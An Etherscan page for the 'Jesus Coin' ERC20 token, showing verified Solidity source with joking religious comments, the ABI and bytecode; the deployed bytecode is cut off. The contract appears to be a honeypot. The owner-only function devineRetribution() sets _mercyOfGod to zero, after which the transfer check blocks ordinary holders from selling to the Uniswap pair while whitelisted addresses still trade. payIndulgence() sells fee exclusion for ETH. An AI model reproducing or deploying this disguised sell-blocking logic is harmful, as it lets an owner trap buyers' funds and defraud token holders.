ETH Price: $2,447.75 (+1.22%)

Token

Jesus Coin (JC)
 

Overview

Max Total Supply

4,900,000,000 JC

Holders

52

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
87,300,000 JC

Value
$0.00
0xbb1aeb51c92c6cc341989fc675a77010efdee94c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JesusCoin

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-25
*/

// SPDX-License-Identifier: MIT
//
// **** Before critizing anything, think about what the real world does to you ****
// **** Before critizing anything, think about what the real world does to you ****
// **** Before critizing anything, think about what the real world does to you ****
//
// Our FUD - Faith, Understanding, Devotion
//
// IT'S TIME TO DECENTRALIZE JESUS
// Token supply: 4,900,000,000JC
// Token symbol: JC
// Token name: Jesus Coin
// ERC20 compatible
//
// Q: This all sounds ridiculous, is it a scam?
// A: Thr church is not a scam! Jesus Coin will fulfil all of the functions on the whitepaper (which is not very many functions).
//
// Q: Is this whole thing a joke?
// A: Christianity has survived 2000 years so if it's a joke, it's a good one. The Jesus Coin itself is totally real though, up there on Etherscan and Coin Market Cap and ERC20 compatible wallets and all that stuff.
//
// Join our Crusade
// Telegram:  https://t.me/jesuscoin888
// Read the whitepaper
// Website: https://jesuscoin.info
// See how we are doing
// Chart: https://www.dextools.io/app/ether/pair-explorer/0xf1278c449c8f9e366e2766ceef00c145e49ba647
// Support the Crusade
// Buy: https://app.uniswap.org/#/swap?inputCurrency=0x46de83d7e9047776b792e67619fd1f0fa4430a41
pragma solidity ^0.8.9;

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

uint256 constant INITIAL_TAX=10;
uint256 constant TOTAL_SUPPLY=4900000000;
string constant TOKEN_SYMBOL="JC";
string constant TOKEN_NAME="Jesus Coin";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;


contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}


contract JesusCoin is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;

	uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;


	uint256 private _taxFee;
	address payable private _taxWallet;
	uint256 private _maxTxAmount;
	uint256 private _mercyOfGod;

	string private constant _name = TOKEN_NAME;
	string private constant _symbol = TOKEN_SYMBOL;
	uint8 private constant _decimals = DECIMALS;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
	constructor () {
		_taxWallet = payable(_msgSender());

		_taxFee = INITIAL_TAX;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_balance[address(this)] = _tTotal;
		_isExcludedFromFee[address(this)] = true;
		_isExcludedFromFee[_taxWallet] = true;
		_maxTxAmount=_tTotal.div(50);
		_mercyOfGod=_tTotal;
		emit Transfer(address(0x0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function devineRetribution() public onlyChurch{
		_mercyOfGod=0;
	}

	function mercy() public view returns (uint256){
		return _mercyOfGod;
	}

	function payIndulgence() public payable returns (bool){
		require(msg.value>=balanceOf(address(this)),"Insufficient amount for indulgence");
		_isExcludedFromFee[msg.sender]=true;
		return true;
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		if(!_isExcludedFromFee[from]){
			require(((to == _pair && from != address(_uniswap) )?amount:0) <= _mercyOfGod);
		}

		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<_maxTxAmount,"Transaction amount limited");
			}

			uint256 contractTokenBalance = balanceOf(address(this));
			if (!_inSwap && from != _pair && _swapEnabled) {
				swapTokensForEth(contractTokenBalance);
				uint256 contractETHBalance = address(this).balance;
				if(contractETHBalance >= TAX_THRESHOLD) {
					sendETHToFee(address(this).balance);
				}
			}
		}

		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}

	function addToWhitelist(address buyer) public onlyChurch{
		_isExcludedFromFee[buyer]=true;
	}

	function removeFromWhitelist(address buyer) public onlyChurch{
		_isExcludedFromFee[buyer]=false;
	}

	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			address(this),
			block.timestamp
		);
	}
	modifier onlyChurch() {
		require(_taxWallet == _msgSender() );
		_;
	}

	function lowerTax(uint256 newTaxRate) public onlyChurch{
		require(newTaxRate<INITIAL_TAX);
		_taxFee=newTaxRate;
	}

	function removeBuyLimit() public onlyChurch{
		_maxTxAmount=_tTotal;
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}



	function createUniswapPair() external onlyChurch {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

	function addLiquidity() external onlyChurch{
		_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
		_swapEnabled = true;
		_canTrade = true;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	receive() external payable {}

	function swapForTax() external onlyChurch{
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function collectTax() external onlyChurch{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"addToWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collectTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devineRetribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTaxRate","type":"uint256"}],"name":"lowerTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"mercy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"payIndulgence","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"removeBuyLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"removeFromWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapForTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126006600a62000314565b620000239064012410110062000325565b600555600b805461ffff60a81b191690553480156200004157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060078054336001600160a01b0319918216178255600a60068190558054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055600580543060009081526002602090815260408083209390935560048152828220805460ff19908116600190811790925595546001600160a01b0316835292909120805490941690911790925554620001209160329062000a9262000169821b17901c565b600855600554600981905560405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3620003c2565b6000620001b383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620001bc60201b60201c565b90505b92915050565b60008183620001e95760405162461bcd60e51b8152600401620001e0919062000347565b60405180910390fd5b506000620001f884866200039f565b95945050505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002585781600019048211156200023c576200023c62000201565b808516156200024a57918102915b93841c93908002906200021c565b509250929050565b6000826200027157506001620001b6565b816200028057506000620001b6565b8160018114620002995760028114620002a457620002c4565b6001915050620001b6565b60ff841115620002b857620002b862000201565b50506001821b620001b6565b5060208310610133831016604e8410600b8410161715620002e9575081810a620001b6565b620002f5838362000217565b80600019048211156200030c576200030c62000201565b029392505050565b6000620001b360ff84168362000260565b600081600019048311821515161562000342576200034262000201565b500290565b600060208083528351808285015260005b81811015620003765785810183015185820160400152820162000358565b8181111562000389576000604083870101525b50601f01601f1916929092016040019392505050565b600082620003bd57634e487b7160e01b600052601260045260246000fd5b500490565b61169f80620003d26000396000f3fe6080604052600436106101395760003560e01c80638ab1d681116100ab578063d49b55d61161006f578063d49b55d614610369578063dd62ed3e1461037e578063e43252d7146103c4578063e8078d94146103e4578063f365485b146103f9578063ffec0cdb1461040157600080fd5b80638ab1d681146102b65780638da5cb5b146102d657806395d89b41146102fe5780639e752b9514610329578063a9059cbb1461034957600080fd5b80633d8705ab116100fd5780633d8705ab146102155780633e07ce5b1461022c5780634a131672146102415780635d1b6e9d1461025657806370a082311461026b578063715018a6146102a157600080fd5b806306fdde0314610145578063095ea7b31461018a57806318160ddd146101ba57806323b872dd146101d9578063313ce567146101f957600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a8152692532b9bab99021b7b4b760b11b60208201525b6040516101819190611381565b60405180910390f35b34801561019657600080fd5b506101aa6101a53660046113eb565b610416565b6040519015158152602001610181565b3480156101c657600080fd5b506005545b604051908152602001610181565b3480156101e557600080fd5b506101aa6101f4366004611417565b61042d565b34801561020557600080fd5b5060405160068152602001610181565b34801561022157600080fd5b5061022a610496565b005b34801561023857600080fd5b5061022a6104ba565b34801561024d57600080fd5b5061022a6104d9565b34801561026257600080fd5b506009546101cb565b34801561027757600080fd5b506101cb610286366004611458565b6001600160a01b031660009081526002602052604090205490565b3480156102ad57600080fd5b5061022a610765565b3480156102c257600080fd5b5061022a6102d1366004611458565b610809565b3480156102e257600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561030a57600080fd5b506040805180820190915260028152614a4360f01b6020820152610174565b34801561033557600080fd5b5061022a610344366004611475565b610841565b34801561035557600080fd5b506101aa6103643660046113eb565b61086a565b34801561037557600080fd5b5061022a610877565b34801561038a57600080fd5b506101cb61039936600461148e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103d057600080fd5b5061022a6103df366004611458565b6108a7565b3480156103f057600080fd5b5061022a6108e2565b6101aa6109e9565b34801561040d57600080fd5b5061022a610a74565b6000610423338484610adb565b5060015b92915050565b600061043a848484610bff565b61048c843361048785604051806060016040528060288152602001611642602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f3d565b610adb565b5060019392505050565b6007546001600160a01b031633146104ad57600080fd5b476104b781610f77565b50565b6007546001600160a01b031633146104d157600080fd5b600554600855565b6007546001600160a01b031633146104f057600080fd5b600b54600160a01b900460ff161561054f5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600a5460055461056c9130916001600160a01b0390911690610adb565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e391906114c7565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610645573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066991906114c7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106da91906114c7565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610741573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b791906114e4565b6000546001600160a01b031633146107bf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610546565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316331461082057600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6007546001600160a01b0316331461085857600080fd5b600a811061086557600080fd5b600655565b6000610423338484610bff565b6007546001600160a01b0316331461088e57600080fd5b306000908152600260205260409020546104b781610fb5565b6007546001600160a01b031633146108be57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6007546001600160a01b031633146108f957600080fd5b600a546001600160a01b031663f305d719473061092b816001600160a01b031660009081526002602052604090205490565b6000806109406000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109cd9190611506565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b30600090815260026020526040812054341015610a535760405162461bcd60e51b815260206004820152602260248201527f496e73756666696369656e7420616d6f756e7420666f7220696e64756c67656e604482015261636560f01b6064820152608401610546565b50336000908152600460205260409020805460ff1916600190811790915590565b6007546001600160a01b03163314610a8b57600080fd5b6000600955565b6000610ad483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061112f565b9392505050565b6001600160a01b038316610b3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610546565b6001600160a01b038216610b9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610546565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c635760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610546565b6001600160a01b038216610cc55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610546565b60008111610d275760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610546565b6001600160a01b03831660009081526004602052604090205460ff16610d8d57600954600b546001600160a01b038481169116148015610d755750600a546001600160a01b03858116911614155b610d80576000610d82565b815b1115610d8d57600080fd5b6000546001600160a01b03848116911614801590610db957506000546001600160a01b03838116911614155b15610edc57600b546001600160a01b038481169116148015610de95750600a546001600160a01b03838116911614155b8015610e0e57506001600160a01b03821660009081526004602052604090205460ff16155b15610e64576008548110610e645760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610546565b30600090815260026020526040902054600b54600160a81b900460ff16158015610e9c5750600b546001600160a01b03858116911614155b8015610eb15750600b54600160b01b900460ff165b15610eda57610ebf81610fb5565b47670de0b6b3a76400008110610ed857610ed847610f77565b505b505b6001600160a01b038216600090815260046020526040902054610f389084908490849060ff1680610f2557506001600160a01b03871660009081526004602052604090205460ff165b610f315760065461115d565b600061115d565b505050565b60008184841115610f615760405162461bcd60e51b81526004016105469190611381565b506000610f6e848661154a565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fb1573d6000803e3d6000fd5b5050565b600b805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ffd57610ffd611561565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611056573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107a91906114c7565b8160018151811061108d5761108d611561565b6001600160a01b039283166020918202929092010152600a546110b39130911684610adb565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ec908590600090869030904290600401611577565b600060405180830381600087803b15801561110657600080fd5b505af115801561111a573d6000803e3d6000fd5b5050600b805460ff60a81b1916905550505050565b600081836111505760405162461bcd60e51b81526004016105469190611381565b506000610f6e84866115e8565b6000611174606461116e8585611261565b90610a92565b9050600061118284836112e0565b6001600160a01b0387166000908152600260205260409020549091506111a890856112e0565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546111d79082611322565b6001600160a01b0386166000908152600260205260408082209290925530815220546112039083611322565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b60008261127057506000610427565b600061127c838561160a565b90508261128985836115e8565b14610ad45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610546565b6000610ad483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f3d565b60008061132f8385611629565b905083811015610ad45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610546565b600060208083528351808285015260005b818110156113ae57858101830151858201604001528201611392565b818111156113c0576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104b757600080fd5b600080604083850312156113fe57600080fd5b8235611409816113d6565b946020939093013593505050565b60008060006060848603121561142c57600080fd5b8335611437816113d6565b92506020840135611447816113d6565b929592945050506040919091013590565b60006020828403121561146a57600080fd5b8135610ad4816113d6565b60006020828403121561148757600080fd5b5035919050565b600080604083850312156114a157600080fd5b82356114ac816113d6565b915060208301356114bc816113d6565b809150509250929050565b6000602082840312156114d957600080fd5b8151610ad4816113d6565b6000602082840312156114f657600080fd5b81518015158114610ad457600080fd5b60008060006060848603121561151b57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b60008282101561155c5761155c611534565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115c75784516001600160a01b0316835293830193918301916001016115a2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261160557634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561162457611624611534565b500290565b6000821982111561163c5761163c611534565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208bb366635d54da7a19eeeef6feaa9f71101f29fb45b56301bfa7d2254ea3d0df64736f6c634300080a0033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80638ab1d681116100ab578063d49b55d61161006f578063d49b55d614610369578063dd62ed3e1461037e578063e43252d7146103c4578063e8078d94146103e4578063f365485b146103f9578063ffec0cdb1461040157600080fd5b80638ab1d681146102b65780638da5cb5b146102d657806395d89b41146102fe5780639e752b9514610329578063a9059cbb1461034957600080fd5b80633d8705ab116100fd5780633d8705ab146102155780633e07ce5b1461022c5780634a131672146102415780635d1b6e9d1461025657806370a082311461026b578063715018a6146102a157600080fd5b806306fdde0314610145578063095ea7b31461018a57806318160ddd146101ba57806323b872dd146101d9578063313ce567146101f957600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a8152692532b9bab99021b7b4b760b11b60208201525b6040516101819190611381565b60405180910390f35b34801561019657600080fd5b506101aa6101a53660046113eb565b610416565b6040519015158152602001610181565b3480156101c657600080fd5b506005545b604051908152602001610181565b3480156101e557600080fd5b506101aa6101f4366004611417565b61042d565b34801561020557600080fd5b5060405160068152602001610181565b34801561022157600080fd5b5061022a610496565b005b34801561023857600080fd5b5061022a6104ba565b34801561024d57600080fd5b5061022a6104d9565b34801561026257600080fd5b506009546101cb565b34801561027757600080fd5b506101cb610286366004611458565b6001600160a01b031660009081526002602052604090205490565b3480156102ad57600080fd5b5061022a610765565b3480156102c257600080fd5b5061022a6102d1366004611458565b610809565b3480156102e257600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561030a57600080fd5b506040805180820190915260028152614a4360f01b6020820152610174565b34801561033557600080fd5b5061022a610344366004611475565b610841565b34801561035557600080fd5b506101aa6103643660046113eb565b61086a565b34801561037557600080fd5b5061022a610877565b34801561038a57600080fd5b506101cb61039936600461148e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103d057600080fd5b5061022a6103df366004611458565b6108a7565b3480156103f057600080fd5b5061022a6108e2565b6101aa6109e9565b34801561040d57600080fd5b5061022a610a74565b6000610423338484610adb565b5060015b92915050565b600061043a848484610bff565b61048c843361048785604051806060016040528060288152602001611642602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f3d565b610adb565b5060019392505050565b6007546001600160a01b031633146104ad57600080fd5b476104b781610f77565b50565b6007546001600160a01b031633146104d157600080fd5b600554600855565b6007546001600160a01b031633146104f057600080fd5b600b54600160a01b900460ff161561054f5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600a5460055461056c9130916001600160a01b0390911690610adb565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e391906114c7565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610645573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066991906114c7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106da91906114c7565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610741573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b791906114e4565b6000546001600160a01b031633146107bf5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610546565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316331461082057600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6007546001600160a01b0316331461085857600080fd5b600a811061086557600080fd5b600655565b6000610423338484610bff565b6007546001600160a01b0316331461088e57600080fd5b306000908152600260205260409020546104b781610fb5565b6007546001600160a01b031633146108be57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6007546001600160a01b031633146108f957600080fd5b600a546001600160a01b031663f305d719473061092b816001600160a01b031660009081526002602052604090205490565b6000806109406000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801